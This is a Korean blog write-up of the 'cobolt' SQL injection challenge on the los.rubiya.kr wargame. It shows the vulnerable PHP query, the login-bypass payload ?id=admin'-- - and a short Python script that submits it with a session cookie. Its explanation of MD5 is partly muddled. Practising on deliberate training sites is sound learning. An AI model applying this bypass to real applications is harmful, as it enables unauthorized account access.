Jastes 2023. 5. 12. 17:07

Write Up

 ์œ„ ๋ฌธ์ œ๋“ค์€ query๋ฌธ๊ณผ ํ•ด๋‹น ์†Œ์Šค์ฝ”๋“œ๋ฅผ ์•Œ๋ ค์ค๋‹ˆ๋‹ค.
์ด๋ฅผ ์ด์šฉํ•˜์—ฌ solve() ํ•จ์ˆ˜๋ฅผ ์‹คํ–‰์‹œํ‚ค๋ฉด ๋ฌธ์ œ๊ฐ€ ํ’€๋ฆฌ๋Š” ํ˜•์‹์ž…๋‹ˆ๋‹ค.

 

์ด์ „ gremlin ๋ฌธ์ œ์™€ ๋งค์šฐ ์œ ์‚ฌํ•˜๋„ค์š”

 

https://los.rubiya.kr/gate.php

 

los.rubiya.kr


์†Œ์Šค ์ฝ”๋“œ ๋ถ„์„

...
#import point!!
$query = "select id from prob_cobolt where id='{$_GET[id]}' and pw=md5('{$_GET[pw]}')";  
...
if($result['id'] == 'admin') solve("cobolt");
elseif($result['id']) echo "<h2>Hello {$result['id']}<br>You are not admin :(</h2>";

ํฌ๊ฒŒ ๋‹ฌ๋ผ์ง„ ๋ถ€๋ถ„์ด์ž ํ•ต์‹ฌ์ธ ๋ถ€๋ถ„์ž…๋‹ˆ๋‹ค.
์•ž์— ๋ดค๋˜ ๋ฌธ์ œ์™€ ์œ ์‚ฌํ•˜๋‚˜, PW๋ฅผ md5๋กœ ์•”ํ˜ธํ™” ํ•œ ๋ชจ์Šต์„ ํ™•์ธ ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.
์ฆ‰, ์ „์—๋Š” brute force ๊ณต๊ฒฉ์œผ๋กœ๋„ ๊ฐ€๋Šฅํ–ˆ๋‹ค๋ฉด ์ด์   ์ข€ ๋” ๊ฑธ๋ฆฐ๋‹ค๋Š” ์˜๋ฏธ?

 

SQL injection์„ ํ•˜๊ธฐ์— ์ €ํฌ๋Š” ์ „๊ณผ ๊ฐ™์€ ํ˜•์‹์œผ๋กœ ํ•˜๋ฉด ์‚ฌ์‹ค ํ’€๋ฆฐ๋‹ต๋‹ˆ๋‹ค..

MD5(Message-Digest algorithm 5)๋ž€?
128๋น„ํŠธ ์•”ํ˜ธํ™” ํ•ด์‹œ ํ•จ์ˆ˜ 
RFC 1321๋กœ ์ง€์ •๋˜์–ด ์žˆ์œผ๋ฉฐ, ์ฃผ๋กœ ํ”„๋กœ๊ทธ๋žจ์ด๋‚˜ ํŒŒ์ผ์ด ์›๋ณธ ๊ทธ๋Œ€๋กœ์ธ์ง€๋ฅผ ํ™•์ธํ•˜๋Š” ๋ฌด๊ฒฐ์„ฑ ๊ฒ€์‚ฌ ๋“ฑ์— ์‚ฌ์šฉ

MD5๋Š” ํ•œ๋•Œ ๋ฐ์ดํ„ฐ ๋ณด์•ˆ(์•”ํ˜ธํ™”)์— ์‚ฌ์šฉ๋˜์—ˆ์œผ๋ฉฐ , ๊ทธ๋Ÿฌ๋‚˜ ์š”์ฆ˜ ์ฃผ์š” ์šฉ๋„๋Š” ์ธ์ฆ์ž…๋‹ˆ๋‹ค. ๋•Œ๋ฌธ์— ํ•ด์ปค ์™„์ „ํžˆ ๋‹ค๋ฅธ ํŒŒ์ผ๊ณผ ์ •ํ™•ํžˆ ๋™์ผํ•œ ํ•ด์‹œ๋ฅผ ๊ฐ€์ง„ ํŒŒ์ผ์„ ๋งŒ๋“ค ์ˆ˜ ์žˆ์œผ๋ฉฐ ๋ˆ„๊ตฐ๊ฐ€๊ฐ€ ํŒŒ์ผ์„ ๋ฌด๋‹จ ๋ณ€๊ฒฝํ•˜๋Š” ๊ฒฝ์šฐ MD5๊ฐ€ ์•ˆ์ „ํ•˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค.

 

๊ทธ๋Ÿฌ๋‚˜ ํ˜„์žฌ๋Š” ๋‹จ์ˆœํžˆ ํ•œ ์žฅ์†Œ์—์„œ ๋‹ค๋ฅธ ์žฅ์†Œ๋กœ ํŒŒ์ผ์„ ๋ณต์‚ฌํ•˜๋Š” ๊ฒฝ์šฐ MD5๊ฐ€ ์ž‘์—…์„ ์ˆ˜ํ–‰ํ•ฉ๋‹ˆ๋‹ค.

 

What Is the MD5 Hashing Algorithm and How Does It Work?

The MD5 algorithm is a hash function. Find out how it works, and what the MD5 hashing algorithm is used for.

www.avast.com

๊ทธ๋Ÿฌ๊ธฐ์— ํ•ด๋‹น PW์„ ์‚ฝ์ž…ํ•˜๋Š” ๋ถ€๋ถ„์„ ๊ทธ๋ƒฅ ์šฐํšŒํ•˜๋ฉด ๋ฌธ์ œ๊ฐ€ ํ•ด๊ฒฐ๋˜๊ฒ ๋„ค์š”.


Soultion

Where์˜ ์ฃผ์„(์šฐํšŒ)
https://los.rubiya.kr/chall/cobolt_b876ab5595253427d3bc34f1cd8f30db.php

?id=admin%27--%20-
?id=admin'-- -

ํ•ด๋‹น ๋ถ€๋ถ„์€ GET๋ฐฉ์‹์œผ๋กœ ์–ป๊ธฐ์— URL์— ์ž…๋ ฅ์„ ํ•˜์—ฌ SQL๋ฌธ์„ ๋™์ž‘ํ•ฉ๋‹ˆ๋‹ค.

์ „์— ๋ฌธ์ œ์™€ ๋„ˆ๋ฌด ๋˜‘๊ฐ™์ด ํ’€์—ˆ๋‚˜์š”..? id๊ฐ€ admin์ด์•ผ ํ•˜๋‹ˆ๊นŒ ์ˆ˜์ •ํ•œ ๋ชจ์Šต
๊ทผ๋ฐ ๋ญ.. ์ด๋ ‡๊ฒŒ ํ•ด๋„ ํ’€๋ฆฌ๊ธฐ ๋•Œ๋ฌธ์— ๋‹ค๋ฅธ ๋ฐฉ๋ฒ•์ด ์žˆ๋‹ค๋ฉด ์•Œ๋ ค์ฃผ์„ธ์š”
(์ €๋Š” ๊ท€์ฐฎ์•„์„œ ์ด๋ ‡๊ฒŒ ํ• ๋ž๋‹ˆ๋‹ค ใ… )

Exploit Code
#!/usr/bin/python3
from requests import get
from pwn import *

url = 'https://los.rubiya.kr/chall/cobolt_b876ab5595253427d3bc34f1cd8f30db.php'
cookies = dict(PHPSESSID='05ivanqqvt1mh4gvt59jiihjj5')

query = "?id=admin'-- -"

def pw_leak(url, query):
    r = get(url+query, cookies=cookies)

    if r.text.find('<h2>COBOLT Clear!</h2>') > 0:
        log.success('Success!!')
    else:
        log.failure('False :(')

if '__main__' in __name__:
    print(url)
    pw_leak(url, query)

์ฐธ๊ณ  ์ž๋ฃŒ

์ฐธ๊ณ  ์ด๋ฏธ์ง€